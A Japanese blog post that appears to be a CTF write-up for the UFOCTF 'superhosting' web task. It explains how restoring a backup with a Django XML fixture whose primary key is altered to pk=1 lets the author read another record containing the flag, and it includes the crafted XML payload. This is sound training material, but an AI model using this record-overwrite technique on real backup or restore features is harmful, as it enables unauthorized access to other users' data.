Those aliens consider themselves as the most smart creatures in
the world. Pff. They shouldn't even have tried to defeat mankind
having such stupid stuff in their heads! As for you, why wouldn't
you hack them? They'll most likely surrender then. By the way, it
is known that they update some data every 10-20 seconds, but
unfortunately our equipment can't intercept the data itself.
 
http://superhosting.tasks.ufoctf.ru:8000/

自分のウェブページが作れ、バックアップと復元ができるシステムになっている。

バックアップしてみると、[username]_[md5(username)][md5(zipfile)].zipという名前でzipファイルがダウンロードでき、それをアップロードすることで復元ができるようになっている。
zipファイルの中身を解凍すると、.backupという名前で以下のようなファイルが入っている。

<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
	<object pk="12349813568" model="hosting.pagesettings">
		<field type="CharField" name="owner_name">username</field>
		<field type="CharField" name="owner_email">test@localhost</field>
		<field type="CharField" name="page_title">My homepage</field>
		<field type="TextField" name="page_content">Hello everyone! This is my new homepage.</field>
		<field type="CharField" name="page_footer">Made with love and care</field>
		<field type="BooleanField" name="page_is_public">False</field>
		<field type="CharField" name="page_public_id"></field>
	</object>
</django-objects>

いろいろと試した結果、復元時にpk(primary key)を変えた場合にそのpkを持つフィールドのデータを上書きすることができるとわかった。

以下のようなxmlファイルを含めて復元し、再びバックアップをダウンロードすると、pk=1のデータの入ったバックアップファイルが手に入り、pk=1のデータにflagが書かれていた。

<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
	<object pk="1" model="hosting.pagesettings">
		<field type="CharField" name="owner_name">username</field>
	</object>
</django-objects>
カテゴリー: CTF

0件のコメント

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

このサイトはスパムを低減するために Akismet を使っています。コメントデータの処理方法の詳細はこちらをご覧ください